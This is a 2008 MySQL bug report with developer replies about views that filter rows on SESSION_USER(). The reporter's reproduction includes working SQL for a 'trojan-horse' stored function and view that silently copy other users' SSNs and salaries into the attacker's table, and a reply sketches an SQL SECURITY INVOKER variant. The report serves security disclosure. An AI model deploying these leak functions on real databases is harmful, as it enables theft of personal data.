Bug #35715 Using SESSION_USER() in a view definition is unsafe
Submitted: 31 Mar 2008 19:37 Modified: 1 Apr 2008 15:48
Reporter: Lars Olson Email Updates:
Status: Not a Bug Impact on me:
None 
Category:MySQL Server: Views Severity:S2 (Serious)
Version:5.0.51a OS:Any
Assigned to: CPU Architecture:Any

[31 Mar 2008 19:37] Lars Olson
Description:
Creating a view that depends on the value of SESSION_USER() enables a minimally-privileged user to write a user-defined function that contains a trojan-horse to get arbitrary data from the base table.

How to repeat:
Create three users, alice (base table owner), bob (attacker), and carol (other minimally-privileged user).  As Alice, create the following table and view:

CREATE TABLE employee(
   username varchar(50) unique,
   ssn int,
   salary int,
   email varchar(30));
INSERT INTO employee VALUES('alice@localhost',123456789,70000,'alice@example.com');
INSERT INTO employee VALUES('bob@localhost',234567890,70000,'bob@example.com');
INSERT INTO employee VALUES('carol@localhost',345678901,70000,'carol@example.com');

CREATE VIEW employee_view AS
   SELECT * FROM employee
   WHERE username=SESSION_USER();

GRANT SELECT ON employee_view TO bob@localhost,carol@localhost;

At this point, Bob and Carol can both query SELECT * FROM employee_view; to view their own employee data, but cannot view each other's employee data.

As Bob, create the following tables, function, and view:

CREATE TABLE picnic(
   username varchar(50),
   assignment varchar(50));
INSERT INTO picnic VALUES('alice','chips');
INSERT INTO picnic VALUES('bob','drinks');
INSERT INTO picnic VALUES('carol','salad');

CREATE TABLE employee_leaked_data(
   username varchar(50) unique,
   ssn int,
   salary int,
   email varchar(30));

DELIMITER |
CREATE FUNCTION leakInfo()
RETURNS boolean
BEGIN
   DECLARE done boolean default false;
   DECLARE username1 varchar(50);
   DECLARE ssn1 int;
   DECLARE salary1 int;
   DECLARE email1 varchar(30);
   DECLARE cur cursor for SELECT * FROM alice.employee_view;
   DECLARE continue handler for not found set done = true;
   OPEN cur;
   LOOP1:loop
      FETCH cur INTO username1, ssn1, salary1, email1;
      IF done THEN
         CLOSE cur;
         LEAVE LOOP1;
      END IF;
      INSERT INTO bob.employee_leaked_data(username, ssn, salary, email) VALUES(username1, ssn1, salary1, email1)
         ON DUPLICATE KEY UPDATE ssn=ssn1, salary=salary1, email=email1;
   END LOOP LOOP1;
   RETURN true;
END;
|
DELIMITER ;

CREATE VIEW picnic_view AS
   SELECT * FROM picnic WHERE bob.leakInfo();
GRANT EXECUTE ON FUNCTION leakInfo TO alice@localhost, carol@localhost;
GRANT SELECT ON picnic_view TO alice@localhost, carol@localhost;

As Carol, query Bob's table:  SELECT * FROM picnic_view;
Bob can now view Carol's employee information:  SELECT * FROM employee_leaked_data;

Suggested fix:
Difficult to say.  Using CURRENT_USER() instead of SESSION_USER() always returns Alice's data even if Bob or Carol is querying, so this does not give the desired view definition.  The particular problem I described can be prevented if SESSION_USER() returned the user who defined the function instead of the currently-logged-in user; however, this is not the intent of the SESSION_USER value.

At very least, even if this is considered not a bug, perhaps the documentation for these values should contain a warning not to use them for evaluating view conditions.
[1 Apr 2008 10:19] Sergei Golubchik
I tend to consider it not a bug.

The situation boils down to simple "run a code written by an attacker and you're screwed", which is true in a general case. Bob could've created a function with SQL SECURITY INVOKER and execute any code he wants with Carol's credentials.

For example, you exploit the fact that function leakInfo() is run with Bob's credentials but it sees SESSION_USER() of Carol. But there's no need to exploit it, Bob could've written:

CREATE SQL SECURITY INVOKER VIEW picnic_view AS
   SELECT * FROM picnic WHERE exists (select bob.leakInfo(ssn, salary, email) from employee);

In this case the view is executed with Carol's credentials, and only *after* the field values are selected (with Carol's credentials !!!) they're sent to Bob's function. In this case SESSION_USER() shows Carol, because the view is evaluated in Carol's security context, Bob is not involved here at all.
[1 Apr 2008 15:48] Lars Olson
True.  I think both examples put doubt into my mind that anyone can really be trusted, but as long as this isn't considered to be anything new, then I'm satisfied.